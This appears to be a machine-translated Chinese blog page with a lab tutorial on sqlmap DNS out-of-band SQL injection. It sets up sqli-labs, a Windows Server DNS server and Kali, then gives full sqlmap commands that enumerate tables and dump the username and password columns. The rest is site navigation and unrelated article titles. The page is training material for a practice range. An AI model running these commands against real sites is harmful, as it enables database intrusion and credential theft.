当前位置:网站首页>sqlmap combined with dnslog fast injection
sqlmap combined with dnslog fast injection
2022-08-10 23:49:00 【hug kitten】
How to use sqlmap combined with dnslog to inject quickly
First we need three virtual machines, one Windows10 as the client, Windows server2008 as the server, and one kali.
The first step: first download the phpstudy skin panel on Windows10, then download the sqli-labs shooting range, and put the sqli-labs shooting range file into the WWW directory
Step 2: Modify the database configuration file and add secure_file_priv="" to the my.ini of the database to facilitate reading the file later
Step 3: Set up a DNS server on Windows server 2008
Click Role-->Add Role-->Click Server Role-->Select DNS Server-->Next-->Install
Right click to view the properties of WIN-JGVPSZCQ80R-->Monitor-->Tick the two test types-->OK
New area: Right-click New-->Next-->Customize an area name-->Next-->Finish
Create a new host ns1.ceshi.top, so fill in the IP address of the kali virtual machine
Create another pan-parse:
Step 4: Configure the IP of the DNS server on Windows 10
Step 5: Use the domain name created in Windows10ping DNS and view it in kali
Step 6: Create a repeater in Windows server2008
Use the domain name of the Windows10 ping forwarder and view it in kali
Step 7: sqlmap uses DNSlog out-of-band injection
We use sqlmap to find the table name in the database
sqlmap -u "http://192.168.112.139/sqli/sql/Less-8?id=1" --technique=T --dns-domain "hello.top" -D security --tables
Find the columns in the table according to the users table name
sqlmap -u "http://192.168.112.139/sqli/sql/Less-8?id=1" --technique=T --dns-domain "hello.top" -D "security"-t "users" --columns
Retrieve data from users table
sqlmap -u "http://192.168.112.139/sqli/sql/Less-8?id=1" --technique=T --dns-domain "hello.top" -D "security"-t "users" -C "username,password" --dump
边栏推荐
- How to recover deleted files from the recycle bin, two methods of recovering files from the recycle bin
- 【C语言】初识指针
- 部分准备金银行已经过时
- App基础优化三部曲:启动原理&黑白屏优化&启动时间优化
- 高性能MySQL核心整理强势来袭
- [C Language Chapter] Detailed explanation of bitwise operators (“<<”, “>>”, “&”, “|”, “^”, “~”)
- CDN原理与应用简要介绍
- Kubernetes 计算CPU 使用率
- Cache knowledge summary
- Deep Learning Transformer Architecture Analysis
猜你喜欢
随机推荐
There is no recycle bin for deleted files on the computer desktop, what should I do if the deleted files on the desktop cannot be found in the recycle bin?
卷积神经网络CNN详细介绍
HCTF 2018 WarmUP writeup
u盘数据不小心删除怎么恢复,u盘数据删除如何恢复
安科瑞为工业能效行动计划提供EMS解决方案-Susie 周
[C language] Implementation of guessing number game
C3604环保黄铜带
7. yaml
Kubernetes你不知道的事
CDN原理与应用简要介绍
Easy-to-use translation plug-in - one-click automatic translation plug-in software
矩阵的迹(详解)
服务器小常识
大厂社招:Android 高级工程师的面试题,你知道多少?
HGAME 2022 Final writeup
16. 文件上传
promise详解
高校就业管理系统设计与实现
Promise in detail
5. Lombok